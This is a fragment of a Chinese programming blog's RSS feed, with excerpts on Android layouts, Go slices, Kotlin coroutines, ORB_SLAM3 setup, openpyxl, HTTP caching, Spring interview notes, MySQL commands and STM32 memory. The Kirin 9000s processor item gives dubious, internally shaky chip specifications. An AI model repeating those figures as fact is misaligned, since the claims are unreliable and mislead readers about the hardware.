      <description>说起安卓开发，很多小伙伴在刚开始入门的时候会有些云里雾里，觉得很混乱，这很正常，大多数是因为不太清楚安卓开发的基本流程，以及各个文件之间是怎样去相互作用的。我会在这篇文章里面向你介绍一下Android studio工作的基本流程，很基础很基础的那种。&#xA;1.两个重要的文件 一个完整的安卓开发工程，里面的文件有很多很多很多，但是为了说清楚基本的工作流程，我们先关注两个重要的文件。比如，当我们先创建一个empyt的工程，android会自动给我们生成已下的一些文件。&#xA;记住，左上角要选择android，才会出现以下的目录结构&#xA;而我们需要关注的，一个是layout文件下的.xml文件&#xA;打开之后，可以看到这样的画面&#xA;xml文件及其作用 调整成split视图，我们不难看出，我们可以在这个xml文件里面来实现界面的布局。仔细观察，我们可以看到：&#xA;&amp;lt;TextView android:id=&#34;@+id/tv1&#34; android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;40dp&#34; android:background=&#34;#225252&#34; android:textColor=&#34;#00ff00&#34; android:layout_gravity=&#34;center&#34; android:gravity=&#34;center&#34; /&amp;gt; &amp;lt;Button android:id=&#34;@+id/main_bt01&#34; android:layout_width=&#34;wrap_content&#34; android:layout_height=&#34;wrap_content&#34; android:hint=&#34;next&#34; android:layout_gravity=&#34;center&#34; android:textSize=&#34;16dp&#34; android:background=&#34;#300000ff&#34; /&amp;gt; 类似于这种的代码，这个就代表了一个一个的组件。而这些组件具体的功能以及一些特性，我会在后面的博客中去介绍，这一次我们先关注如何跑起来一个安卓程序，并且从一个基础的角度去了解他的工作流程。&#xA;上面我们提到了组件，而组件是什么东西呢？我们打开一个应用程序：&#xA;比如这个计算器，我们可以看到计算器上面有很多按钮，还有输入框等等东西，这些东西我们叫他组件。比如按钮组件，输入框组件等等，我们稍作了解。&#xA;所以，这里的xml文件是用来实现界面的布局。你想让你的界面呈现成什么样的效果，可以在xml文件里面设置。如果你学过前端，可以发现xml文件类似于前端里面的html和css。&#xA;MainActivity文件 说完了xml布局文件，现在有一个很重要的问题。我们已经将我们的页面布局设置好了，并且也写成了xml文件，那么，我们的布局文件在哪里才能够调用显示出来呢？答案就在我们的MainActivity文件里面。文件目录如下：&#xA;打开之后我们可以看到：（不同版本的Android Studio可能会有一些小小小小小的差异）&#xA;下面我就对这段代码进行一个简单的介绍&#xA;package com.example.test01; import android.annotation.SuppressLint; import android.os.Bundle; import android.widget.Button; import androidx.appcompat.app.AppCompatActivity; public class MainActivity extends AppCompatActivity {//继承AppCompatActivity来调用安卓程序 @SuppressLint(&#34;MissingInflatedId&#34;) @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main);//这里输入刚刚xml文件的路径。直接写R.layout.xxx } } 可以看出来，我们是在&#xA;setContentView(R.layout.activity_main);//这里输入刚刚xml文件的路径。直接写R.layout.xxx&#xA;这行代码里面去调用我们刚刚创建的xml布局文件。代码其余的部分我们后面再详细介绍。通过这篇文章，我们可以了解到xml布局文件以及如何调用布局文件。那这里呢，我提供一个小小的代码，大家可以小试牛刀一下。&#xA;xml布局文件：&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;</description>
    </item>
    <item>
      <title>子切片的长度和容量</title>
      <link>https://bchobby.github.io/posts/4dfe1ff193a2056bf43e165a351fb9eb/</link>
      <pubDate>Wed, 25 Oct 2023 09:48:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4dfe1ff193a2056bf43e165a351fb9eb/</guid>
      <description> 子切片的长度和容量 在Go语言中，切片有两个属性，长度和容量。&#xA;长度：切片中元素的个数。容量：从切片的第一个元素开始到底层数组元素末尾的个数。 下面我们来看一份范例：&#xA;func main() { a := [4]int{0, 1, 2, 3}&#x9;// len: 4, cap: 4 s := a[1:2]&#x9;// len: 1, cap: 3 s[0] = 11 s = append(s, 12) s = append(s, 13) s[0] = 21 fmt.Println(a)&#x9;// 输出：[0 21 12 13] fmt.Println(s)&#x9;// 输出：[21 12 13] } 当创建一个切片a[1:2]，它的长度是1，因为它只有一个元素，即a[1]；容量是3，因为从a[1]开始到底层数组的末尾有三个元素。append 函数可以将元素添加到切片，如果容量允许，它会在原始数组上进行修改。如果容量不足，则会创建一个新的数组，并复制现有元素到新数组，然后在新数组上追加。 </description>
    </item>
    <item>
      <title>麒麟9000s处理器，类似A13和骁龙8gen1的水平</title>
      <link>https://bchobby.github.io/posts/025391df3894a1c716780e73f8450ba1/</link>
      <pubDate>Wed, 25 Oct 2023 08:26:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/025391df3894a1c716780e73f8450ba1/</guid>
      <description>用户们普遍对麒麟9000s处理器与A系列芯片的对比感到好奇，想要知道它等同于A系列中的哪一款芯片。根据实际性能表现，麒麟9000s处理器的性能大致在骁龙8gen1和苹果A13之间，但究竟等于A系列中的哪一款芯片呢?&#xA;首先，麒麟9000s可以被视为类似于苹果的A13芯片。这意味着它在性能方面表现出色，但并未采用A系列的命名方式。&#xA;从性能角度来看，麒麟9000s的表现类似于骁龙8gen1，这表明它在多任务处理、高性能应用和图形性能等方面都表现良好。然而，与上一代麒麟9000相比，性能改进并不显著。&#xA;尽管麒麟9000s的具体信息尚未完全披露，但我们了解到它采用了12核的CPU架构，包括6个A78AE核心、4个A510核心和2个A34核心。值得一提的是，麒麟9000s使用了一款定制版本的A78AE核心，其最高频率可达2.62 GHz，这在CPU性能方面提供了一定的优势。&#xA;另外，麒麟9000s在温度控制方面表现良好，这表明采用了一些独特的技术来保持芯片的稳定运行温度。&#xA;总的来说，麒麟9000s处理器在性能和技术方面有着引人注目的特点，虽然具体性能还需要等待正式发布会的测试，但对于寻求高性能智能设备的用户来说，它是一个值得期待的选择。&#xA;本文来源于：麒麟9000s处理器性能综述：与A系列相似，类似A13和骁龙8gen1的水平-下载集 (xzji.com)https://www.xzji.com/news/13678.html</description>
    </item>
    <item>
      <title>Kotlin 如何确定协程是否启动</title>
      <link>https://bchobby.github.io/posts/edc5d40d4f68135d2f957f7156354eac/</link>
      <pubDate>Tue, 24 Oct 2023 22:52:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/edc5d40d4f68135d2f957f7156354eac/</guid>
      <description>在Kotlin中，你可以确定协程是否已启动并正在运行，可以使用Job接口来管理协程，并使用一些函数来检查协程的状态。以下是一些常见的方法：&#xA;1.launch 函数返回一个 Job 对象，可以使用这个对象来确定协程的状态。例如：&#xA;import kotlinx.coroutines.* fun main() = runBlocking { val job = launch { // 协程的逻辑 } if (job.isActive) { println(&#34;协程已经启动并正在运行&#34;) } job.join() // 挂起等待协程完成 } 在上面的示例中，isActive 函数用于检查协程是否处于活动状态，也就是是否已启动但尚未完成。在这之后，你可以使用 join 函数等待协程完成。&#xA;你还可以使用 Job 对象的 cancel 方法来取消协程，如果协程已经启动，但你想中止它的执行。例如：&#xA;val job = launch { // 协程的逻辑 } // 取消协程 job.cancel() 请注意，取消协程是一种控制协程生命周期的方式，但要小心处理取消，以确保资源得到释放。&#xA;这些是确定协程是否已启动的一些常见方法，你可以根据自己的需求使用不同的方式来管理和监控协程的状态。</description>
    </item>
    <item>
      <title>Ubuntu20.04安装&#43;ORB_SLAM3环境配置运行【包含所有安装包】</title>
      <link>https://bchobby.github.io/posts/7116779136ceda7d8a0fdb71ca20ae53/</link>
      <pubDate>Tue, 24 Oct 2023 21:24:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7116779136ceda7d8a0fdb71ca20ae53/</guid>
      <description>一 、Ubuntu 安装： 参考博客：ubuntu安装&#xA;参考博客：orb-slam3顺风版&#xA;1. ubuntu20.04镜像地址：https://pan.baidu.com/s/1hEx-rASvDbgLRwOJsYZVUQ?pwd=9791 提取码: 9791&#xA;2. 启动盘烧制工具下载： https://pan.baidu.com/s/1Du7MHGchRqWc-J6R-ElpvQ?pwd=1234 提取码: 1234&#xA;二、ORB-SLAM3安装： 2.1环境库安装 2.1.1安装git、g++ sudo apt-get install git sudo apt install g++ 2.1.2安装cmake cmake安装包： https://pan.baidu.com/s/1zO8AadBNc-IKTX3gpYaJ9A?pwd=1234 提取码: 1234&#xA;1.将压缩包解压到主目录，并将该解压后的文件移动到/opt目录下，执行以下命令：&#xA;mv cmake-3.23.2-linux-x86_64 /opt/cmake-3.23.2 移动成功后/opt/cmake-3.23.2目录下应该有以下文件：&#xA;2.建立连接：&#xA;ln -sf /opt/cmake-3.23.2/bin/* /usr/bin 3.查看cmake版本&#xA;cmake --version 执行后显示：&#xA;--------------------------------------------------------------------------cmake安装结束------------------------------------------------------------------------------------------&#xA;2.1.3安装eigen3 eigen3安装包：https://pan.baidu.com/s/1fk_OLOF4Iq3PQYpAHMcO7w?pwd=1234 提取码: 1234&#xA;1.将安装包解压到主目录下，进入该目录下并执行：&#xA;cd eigen-3.3.7 mkdir build cd build cmake .. sudo make install 最后查看eigen3版本：&#xA;pkg-config --modversion eigen3 eigen版本显示为3.3.7：&#xA;-------------------------------------------------------------------------eigen3安装结束------------------------------------------------------------------------------------------&#xA;2.1.4安装opencv 提示：opencv最好安装稳定版本，我的是3.4.10</description>
    </item>
    <item>
      <title>python—openpyxl操作excel详解</title>
      <link>https://bchobby.github.io/posts/80e219bfc4d0d95da5814a5bd800b04c/</link>
      <pubDate>Tue, 24 Oct 2023 21:00:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80e219bfc4d0d95da5814a5bd800b04c/</guid>
      <description>前言 openpyxl属于第三方模块，在python中用来处理excel文件。&#xA;可以对excel进行的操作有：读写、修改、调整样式及插入图片等。&#xA;但只能用来处理【 .xlsx】 后缀的excel文件。&#xA;使用前需要先安装，安装方法：&#xA;pip install openpyxl 注：一个excel文件可看做是一个工作簿，工作簿中的一个Sheet就是一个工作表。&#xA;详细使用方法 1、创建一个excel工作簿对象 进行读写、修改等操作前，需要创建一个可供操作的excel工作簿对象。&#xA;分以下2种情况和方法：&#xA;第一种：新建一个excel工作簿对象&#xA;情况1：写入数据，本地没有现成可直接写入的excel工作簿时。&#xA;使用Workbook类，新建一个excel工作簿对象，用来后续进行读写等处理。​​​​​​​​​​​​​​&#xA;from openpyxl import Workbook # 新建一个excel工作簿对象 wb = Workbook() # 保存新建的excel工作簿 wb.save(&#39;excel_test.xlsx&#39;) 注：（1）该类在新建excel工作簿的同时，也会新建了一个工作表（默认名为：Sheet）。&#xA;（2）.save（保存路径）方法，对excel进行保存，写入或修改excel后，都需要保存。&#xA;（3）如果当前保存路径下，已经有一个同名excel文件，不会提示且原文件被覆盖。&#xA;上述代码，.save（）保存，运行后，如下图：&#xA;第二种：读取已有excel&#xA;情况2：读取本地已存在的excel，用来后续进行读写等处理。&#xA;方法：load_workbook(已有excel文件路径)，如果路径中excel文件不存在，将会报错。​​​​​​​&#xA;from openpyxl import load_workbook # 读取已存在的excel工作薄 wb = load_workbook(&#39;excel_test.xlsx&#39;) ​​​​​​​​​​​​​​2、创建excel工作簿中的工作表 openpyxl提供了可自定义工作表的方法。&#xA;工作表，即是常见说法的【Sheet】。&#xA;创建自定义名称的工作表，语法如下：&#xA;Workbook.create_sheet(title,index) title：工作表的名称，可省略，系统自动命名（Sheet, Sheet1, Sheet2, ...）。 index：工作表的位置，可省略，默认插在工作表末尾，0表示插在第一个。​​​​​​ # 自定义工作表 ws1 = wb.create_sheet(&#39;test&#39;) ws2 = wb.create_sheet() # 保存 wb.save(&#39;excel_test.xlsx&#39;) 3、查看excel工作簿中的所有工作表 查看excel工作簿中已存在的所有工作表，有以下3种方法。</description>
    </item>
    <item>
      <title>记录一下浏览器缓存&amp;前端缓存&amp;http缓存方式详解</title>
      <link>https://bchobby.github.io/posts/59a9f8adb6572de419af97f3687d151a/</link>
      <pubDate>Tue, 24 Oct 2023 20:38:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/59a9f8adb6572de419af97f3687d151a/</guid>
      <description>一、HTTP缓存简介&#xA;浏览器缓存是指在本地缓存，HTTP 缓存主要是通过请求和响应报文头中的对应 Header 信息，来控制缓存的策略。&#xA;HTTP缓存可以缩短网页请求资源的距离，减少延迟，节省网络流量，并且由于缓存文件可以重复利用，降低网络负荷，提高客户端响应。&#xA;完整流程图如下：&#xA;二、强缓存和协商缓存&#xA;根据是否需要重新向服务器发起请求，可分为强缓存和协商缓存&#xA;2.1 强缓存&#xA;定义：当命中强缓存的时候，客户端不会再请求服务器，直接从缓存中读取内容，并返回HTTP状态码200。&#xA;强制缓存，在响应头由 Expires、Cache-Control 和 Pragma控制，&#xA;优先级Expires &amp;lt; Cache-Control &amp;lt; Pragma&#xA;Expires：值为服务器返回的过期时间，浏览器再次加载资源时，如果在这个过期时间内，则命中强缓存。（HTTP1.0的属性，缺点是客户端和服务器时间不一致会导致命中误差）&#xA;Cache-Control：HTTP1.1属性，优先级更高，以下为常用属性&#xA;no-store： 禁用缓存&#xA;no-cache：不使用强缓存，每次需向服务器验证缓存是否失效&#xA;private/public：private指的单个用户，public可以被任何中间人、CDN等缓存&#xA;max-age=：max-age是距离请求发起的时间的秒数&#xA;must-revalidate：在缓存过期前可以使用，过期后必须向服务器验证&#xA;Pragma&#xA;no-cache：效果和cache-control等no-cache一致。&#xA;强缓存的资源存储位置&#xA;Chrome会根据本地内存的使用率来决定缓存存放在哪，如果内存使用率很高，放在磁盘里面，内存的使用率很高会暂时放在内存里面(from memory cache和from disk cache区别)&#xA;2.2 协商缓存&#xA;定义：向服务器发送请求，服务器会根据这个请求的请求头的一些参数来判断是否命中协商缓存，如果命中，则返回304状态码并带上新的响应头通知浏览器从缓存中读取资源&#xA;协商缓存，响应头中有两个字段标记规则&#xA;Last-Modified / If-Modified-Since&#xA;Last-Modified是浏览器第一个请求资源，服务器响应头字段，是资源文件最后一次更改时间(精确到秒)。&#xA;下一次发送请求时，请求头里的If-Modified-Since就是之前的Last-Modified&#xA;服务器更加最后修改时间判断命中，如果命中，http为304且不返回资源、不返回last-modify&#xA;Etag / If-None-Match：Etag 的校验优先级高于 Last-Modified&#xA;Etag是加载资源时，服务器返回的响应头字段，是对资源的唯一标记，值是hash码。&#xA;浏览器在下一次加载资源向服务器发送请求时，会将上一次返回的Etag值放到请求头里的If-None-Match里&#xA;服务器接受到If-None-Match的值后，会拿来跟该资源文件的Etag值做比较，如果相同，则表示资源文件没有发生改变，命中协商缓存。&#xA;在精确度上，Etag要优于Last-Modified，Last-Modified的时间单位是秒，如果某个文件在1秒内改变了多次，那么他们的Last-Modified其实并没有体现出来修改，但是Etag每次都会改变确保了精度 在性能上，Etag要逊于Last-Modified，毕竟Last-Modified只需要记录时间，而Etag需要服务器通过算法来计算出一个hash值。 在优先级上，服务器校验优先考虑Etag。&#xA;四、常见操作&#xA;4.1 设置不缓存的方法&#xA;1.html文件设置meta；&#xA;&amp;lt;meta http-equiv=&#34;pragma&#34; content=&#34;no-cache&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;Cache-Control&#34; content=&#34;no-cache, must-revalidate&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;</description>
    </item>
    <item>
      <title>SSM常见面试题</title>
      <link>https://bchobby.github.io/posts/46ef2e6a4d19fac626b762e8a7bb4a0d/</link>
      <pubDate>Tue, 24 Oct 2023 20:21:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46ef2e6a4d19fac626b762e8a7bb4a0d/</guid>
      <description>SSM面试题个人笔记 SpringMVC什么是Spring MVC？简单介绍下你对Spring MVC的理解？SpringMVC的请求流程SpringMVC中常用注解SpringMVC参数传递 Spring1.谈谈你对spring的理解Spring的优点Spring的核心模块IOC的理解AOP的理解BeanFactory和ApplicationContext有什么区别？Spring Bean的生命周期Spring支持的几种bean的作用域Spring框架中的单例Beans是线程安全的吗？Spring基于xml注入bean的几种方式Spring的自动装配Spring 框架中都用到了哪些设计模式？Spring事务的实现方式和实现原理Spring中的隔离级别：Spring框架中有哪些不同类型的事件？Spring AOP里面的几个名词Spring通知有哪些类型？ Mybatis使用Mybatis的mapper接口调用时有哪些要求？#{}和${}的区别 SpringMVC 什么是Spring MVC？简单介绍下你对Spring MVC的理解？ SpringMVC是一个基于Java实现了MVC设计模式的请求驱动类型的web框架，通过把模型-视图-控制器分离，将web层进行指责解耦，把复杂的web应用分成逻辑清晰的几个部分，简化开发减少出错，也方便协作开发。&#xA;SpringMVC的请求流程 用户发送请求至前端控制器dispatcherServlet，前端控制器接收到请求后，调用处理器映射器handleMapping，请求获取Handle；处理器映射器HandleMapping根据请求的URL生成处理器对象及处理器拦截器一并返回给前端控制器；前端控制器调用处理器适配器HandleAdapter，根据处理器映射器返回的结果找到后端控制器；后端控制器处理相关的业务逻辑，将处理后的结果ModelAndView返回；处理器适配器将后端控制器的ModelAndView结果返回给前端控制器；前端控制器将ModelAndView传递给视图解析器ViewResolver解析视图，返回视图对象；前端控制器进行视图渲染；前端控制器响应用户。&#xA;SpringMVC中常用注解 @PostMapping（“/user”）等价于@RequestMapping（value=“/user”，method = RequestMethod.Post）&#xA;@GetMapping（“/user”）&#xA;@ControllerAdvise拦截Controller&#xA;@ExceptionHandle（Exception.class）异常拦截&#xA;@ResponseBody返回实体对象&#xA;@CrossOrigin允许跨域访问&#xA;SpringMVC参数传递 /user/{page}/{size}用@PathVariable接收&#xA;/user?id=1用@RequestParam接收&#xA;/user的form表单接收一个实体{key:value…}形式的，用RequestBody接收&#xA;上传文件，用@RequestParam接收&#xA;Spring 1.谈谈你对spring的理解 spring是一个轻量级的开源框架，它的根本使命是用来简化java开发。所谓的轻量级是相对重量级而言的，轻量级一般就是非入侵的、所依赖的东西非常少、资源的占用也非常少，并且它部署简单，易使用。spring的理念是IOC（Inversion of Control，控制反转）和AOP（Aspect Oriented Programming，面向切面编程）。&#xA;其中，IOC控制反转就是把对象的创建反转给Spring框架来创建和管理，其过程是程序运行时，通过new一个ClassPathXmlApplicationContext工厂读取配置文件（老版本是通过new一个XmlBeanFactory来读取配置文件），spring进行一系列文件解析，根据Bean注册表通过反射机制实例化对象，然后将对象保存到一个Map的spring容器中。当程序中需要创建对象时，从容器中拿到对象，注入到所需的位置。IOC是Spring的核心，主要目的是为了削减程序之间的耦合度。&#xA;AOP面向切面编程，和传统的OOP（Object Oriented Programming，面向对象编程不同），OOP的思想结构为纵向结构，而AOP为横向结构。AOP一般用来日志记录、事务处理、异常处理、权限控制等。例如：在做日志处理时，假如没有AOP，我们需要在每个方法中添加日志处理，但大多数的日志处理代码是相同的，为了重复代码的使用率，我们可以把日志处理抽离成一个方法，但还是要在方法内引用日志处理的方法。这样就会增加代码的耦合，假若要修改或者弃用这个方法，就要去原先调用的方法中一个一个修改，不利于维护。通过动态代理的技术，在指定的位置执行相应的流程，这样就可以将一些横向的功能抽离出来，形成一个独立的模块，然后在指定位置插入这些功能，也就是找到切入点，并加入通知。&#xA;Spring的优点 （1）spring属于低侵入式设计，代码的污染极低；&#xA;（2）spring的DI机制将对象之间的依赖关系交由框架处理，减低组件的耦合性；&#xA;（3）Spring提供了AOP技术，支持将一些通用任务，如安全、事务、日志、权限等进行集中式管理，从而提供更好的复用。&#xA;（4）spring对于主流的应用框架提供了集成支持。&#xA;Spring的核心模块 Spring Core：核心类库，提供IOC服务；&#xA;Spring Context：提供框架式的Bean访问方式，以及企业级功能（JNDI、定时任务等）；&#xA;Spring AOP：AOP服务；&#xA;Spring DAO：对JDBC的抽象，简化了数据访问异常的处理；&#xA;Spring ORM：对现有的ORM框架的支持；&#xA;Spring Web：提供了基本的面向Web的综合特性，例如多方文件上传；&#xA;Spring MVC：提供面向Web应用的Model-View-Controller实现。&#xA;IOC的理解 1）IOC就是控制反转，是指创建对象的控制权的转移，以前创建对象的主动权和时机是由自己把控的，而现在这种权力转移到Spring容器中，并由容器根据配置文件去创建实例和管理各个实例之间的依赖关系，对象与对象之间松散耦合，也利于功能的复用。DI依赖注入，和控制反转是同一个概念的不同角度的描述，即 应用程序在运行时依赖IoC容器来动态注入对象需要的外部资源。&#xA;（2）最直观的表达就是，IOC让对象的创建不用去new了，可以由spring自动生产，使用java的反射机制，根据配置文件在运行时动态的去创建对象以及管理对象，并调用对象的方法的。&#xA;（3）Spring的IOC有三种注入方式 ：构造器注入、setter方法注入、根据注解注入。&#xA;IoC让相互协作的组件保持松散的耦合，而AOP编程允许你把遍布于应用各层的功能分离出来形成可重用的功能组件。&#xA;AOP的理解 OOP面向对象，允许开发者定义纵向的关系，但并适用于定义横向的关系，导致了大量代码的重复，而不利于各个模块的重用。</description>
    </item>
    <item>
      <title>笔记 | MySQL 运维常用语句</title>
      <link>https://bchobby.github.io/posts/c249243e64727c823748a4b4536a56f8/</link>
      <pubDate>Tue, 24 Oct 2023 20:18:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c249243e64727c823748a4b4536a56f8/</guid>
      <description>1.导出整个库 mysqldump -u 用户名 -p –default-character-set=latin1 数据库名 &amp;gt; 导出的文件名(数据库默认编码是latin1) mysqldump -u wcnc -p smgp_apps_wcnc &amp;gt; wcnc.sql 2.导出一个表 mysqldump -u 用户名 -p 数据库名 表名&amp;gt; 导出的文件名 mysqldump -u wcnc -p smgp_apps_wcnc users&amp;gt; wcnc_users.sql 3.导出一个数据库结构 mysqldump -u wcnc -p -d –add-drop-table smgp_apps_wcnc &amp;gt;d:wcnc_db.sql 参数说明：-d 没有数据 –add-drop-table 在每个create语句之前增加一个drop table&#xA;4.导入数据库 第1种：常用，source 命令 进入mysql数据库控制台，&#xA;如mysql -u root -p&#xA;mysql&amp;gt;use 数据库&#xA;然后使用source命令，后面参数为脚本文件(如这里用到的.sql)&#xA;mysql&amp;gt;source wcnc_db.sql&#xA;第2种：使用mysqldump命令 mysqldump -u username -p dbname &amp;lt; filename.sql&#xA;第3种：使用mysql命令 mysql -u username -p -D dbname &amp;lt; filename.</description>
    </item>
    <item>
      <title>C#编程学习</title>
      <link>https://bchobby.github.io/posts/bcc20498c14289b9f6f53312fcc833fc/</link>
      <pubDate>Tue, 24 Oct 2023 17:58:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bcc20498c14289b9f6f53312fcc833fc/</guid>
      <description>C#简介：&#xA;- C#是一种现代的、面向对象的编程语言，由Microsoft开发。&#xA;- 它是.NET框架的一部分，用于开发Windows应用程序、Web应用程序和服务等。&#xA;开发环境：&#xA;- 你可以使用Visual Studio或Visual Studio Code等集成开发环境（IDE）来编写、调试和运行C#代码。&#xA;- C#可以在Windows平台上进行开发，也可以通过.NET Core/.NET 5+在跨平台上进行开发。&#xA;基本语法：&#xA;- C#是一种强类型语言，需要声明变量的数据类型。&#xA;- 语句以分号结尾，代码块用大括号括起来。&#xA;- 主要的数据类型包括整数、浮点数、字符串、布尔值等。&#xA;控制流：&#xA;- 使用条件语句（如if、else、switch）来进行逻辑控制。&#xA;- 循环结构（如for、while）用于重复执行代码块。&#xA;面向对象编程：&#xA;- C#是一种面向对象的语言，支持类、对象、继承和多态。&#xA;- 类是用来封装数据和行为的模板，对象是类的实例。&#xA;方法和函数：&#xA;- 方法是用于执行特定任务的代码块。&#xA;- C#提供了许多内置的方法，你也可以创建自己的方法。&#xA;数组和集合：&#xA;- 数组用于存储多个相同类型的数据项。&#xA;- 集合类提供了更强大的数据结构，如List、Dictionary、HashSet等。&#xA;异常处理：&#xA;- 使用try-catch块来处理异常，以确保程序在出现错误时能够优雅地处理异常情况。&#xA;文件操作：&#xA;- C#提供了许多用于读取和写入文件的类，如FileStream、StreamReader、StreamWriter等。&#xA;多线程编程：&#xA;- 通过使用多线程，你可以实现并发执行，提高程序性能。&#xA;- C#提供了Thread和Task等类来管理多线程操作。&#xA;LINQ：&#xA;- Language-Integrated Query（LINQ）允许你使用类似SQL的查询语法来操作集合和数据。&#xA;ASP.NET和WinForms：&#xA;- 了解ASP.NET和WinForms，这些是用于开发Web应用和桌面应用的C#框架。&#xA;调试和测试：&#xA;- 学习如何使用调试工具来诊断和修复代码中的错误。&#xA;- 编写单元测试来确保代码的质量。&#xA;学习资源：&#xA;- 利用在线教程、书籍、视频课程和C#社区来不断提高你的编程技能。&#xA;实际项目：</description>
    </item>
    <item>
      <title>《MySQL DBA：学习导图》</title>
      <link>https://bchobby.github.io/posts/d8162acafb431b172638ecaf51cfa94c/</link>
      <pubDate>Tue, 24 Oct 2023 17:10:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d8162acafb431b172638ecaf51cfa94c/</guid>
      <description>《MySQL DBA：学习导图》 收费博客禁止转载、贩卖收益！ 定期排查，发现一律举报封号！更新中 ... 《MySQL DBA： MySQL数据库前景介绍》https://blog.csdn.net/yexiangCSDN/article/details/106118466&#xA;《MySQL DBA： MySQL官网介绍与下载》https://blog.csdn.net/yexiangCSDN/article/details/106119507&#xA;《MySQL DBA： MySQL 5.6,5.7安装》https://blog.csdn.net/yexiangCSDN/article/details/106122214&#xA;《MySQL DBA： my.cnf 配置》https://blog.csdn.net/yexiangCSDN/article/details/106142082&#xA;《MySQL DBA： 升级/参数/连接/权限》https://blog.csdn.net/yexiangCSDN/article/details/106147187&#xA;《MySQL DBA： 权限拾遗与角色模拟》https://blog.csdn.net/yexiangCSDN/article/details/106147418&#xA;《MySQL DBA： 体系、Workbench、Utilities介绍》https://blog.csdn.net/yexiangCSDN/article/details/106230567&#xA;《MySQL DBA： 存储引擎特性》https://blog.csdn.net/yexiangCSDN/article/details/106147633&#xA;《MySQL DBA： 慢查询日志进阶》https://blog.csdn.net/yexiangCSDN/article/details/106147609&#xA;《MySQL DBA： 官网测试数据库安装》https://blog.csdn.net/yexiangCSDN/article/details/106257185&#xA;《MySQL DBA： 多实例安装》https://blog.csdn.net/yexiangCSDN/article/details/106147640&#xA;《MySQL DBA： SSL连接》https://blog.csdn.net/yexiangCSDN/article/details/106147646&#xA;《MySQL DBA： 数据类型进阶》https://blog.csdn.net/yexiangCSDN/article/details/106147672&#xA;《MySQL DBA： MySQL 5.7 JSON数据类型》https://blog.csdn.net/yexiangCSDN/article/details/106147734&#xA;《MySQL DBA： 表进阶》https://blog.csdn.net/yexiangCSDN/article/details/106288772&#xA;《MySQL DBA： CURD进阶》https://blog.csdn.net/yexiangCSDN/article/details/106288840&#xA;《MySQL DBA： Rank/视图/UNION》https://blog.csdn.net/yexiangCSDN/article/details/106288871&#xA;《MySQL DBA： 触发器》https://blog.csdn.net/yexiangCSDN/article/details/106288916&#xA;《MySQL DBA： 存储过程/自定义函数进阶》https://blog.csdn.net/yexiangCSDN/article/details/106288952&#xA;《MySQL DBA： 索引进阶》https://blog.csdn.net/yexiangCSDN/article/details/106147861</description>
    </item>
    <item>
      <title>STM32内存分配以及堆栈、变量、代码等的存储位置理解与分析</title>
      <link>https://bchobby.github.io/posts/10ba8533720c62f7adfc69ef818b6f91/</link>
      <pubDate>Tue, 24 Oct 2023 16:38:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/10ba8533720c62f7adfc69ef818b6f91/</guid>
      <description>文中不足之处，欢迎各位同仁批评指正！&#xA;前言 STM32的程序存储器、数据存储器、寄存器和输入输出端口被组织在同一个4GB的线性地址空间内, 地址范围为0x0000 0000至0xFFFF FFFF。其中FLASH为ROM类型，储存的数据掉电不易失；RAM中存储的数据掉电易失。以STM32F103系列为例，最多有512KB的FLASH空间以及最多64KB的RAM空间，另外还包含一个512字节的用于标准USB和CAN通信的SRAM。如下图所示：&#xA;一、FLASH分段 FLASH主要是存放代码和只读数据的，细分图如下：&#xA;如上图所示，Flash又可以细分为文本段、只读数据段、数据复制段。其中文本段包含代码和代码中的常量部分，只读数据区通常存放程序中以const关键字修饰的数据，数据复制段存放的则是程序中初始化不为0的全局变量的数据，在每次单片机复位后要对这些变量重新赋值。&#xA;二、RAM分段 RAM主要用来存储数据，如下是STM32的RAM分区：&#xA;data段：存放初始化非0的全局变量；&#xA;bss段：存放未初始化或初始化为0的全局变量；&#xA;Heap（堆）段：由程序员通过malloc/free申请和释放；&#xA;Stack（栈）段：存放局部变量和函数的入口地址；&#xA;其中栈的方向是由栈顶自上而下的，堆的方向则是自下而上的，如果RAM空间有限而且一个程序中局部变量较多或申请的堆空间过大，便会造成堆和栈冲突，并造成系统崩溃（自己暂时写的程序较小，暂时没有遇到过类似问题）。&#xA;栈，也叫堆栈，是一种先进后出，插入和删除操作都在栈顶操作的线性表。栈的作用通常是保存函数返回地址及保存局部变量。每个函数在运行时都有自己的栈空间，局部变量越多，占空间占用越大，函数间调用越深，栈空间也越大。CPU将打断前的程序运行到的地址、寄存器的值保存到栈中，即保护现场；当打断执行完以后，又从栈中读取之前保存的值，即恢复现场。&#xA;如下是STM32启动文件（.s）中对栈和堆的定义，其中栈大小为0x400即1KB，堆大小为0x200即512Byte。&#xA;; &amp;lt;h&amp;gt; Stack Configuration ; &amp;lt;o&amp;gt; Stack Size (in Bytes) &amp;lt;0x0-0xFFFFFFFF:8&amp;gt; ; &amp;lt;/h&amp;gt; Stack_Size&#x9;EQU 0x400 AREA STACK, NOINIT, READWRITE, ALIGN=3 Stack_Mem SPACE Stack_Size __initial_sp ; &amp;lt;h&amp;gt; Heap Configuration ; &amp;lt;o&amp;gt; Heap Size (in Bytes) &amp;lt;0x0-0xFFFFFFFF:8&amp;gt; ; &amp;lt;/h&amp;gt; Heap_Size EQU 0x200 AREA HEAP, NOINIT, READWRITE, ALIGN=3 __heap_base Heap_Mem SPACE Heap_Size __heap_limit 三、kei中的map文件 如图在keil中编写如下程序代码，验证各变量的存储位置：</description>
    </item>
    <item>
      <title>K8S实战笔记--7（容器损坏 &#43; 负载均衡原理简述 &#43; 线上Linux服务器优化经验）</title>
      <link>https://bchobby.github.io/posts/bc10de50841e40d7e91504ea1b66e5ca/</link>
      <pubDate>Tue, 24 Oct 2023 16:33:36 +0800</pubDate>
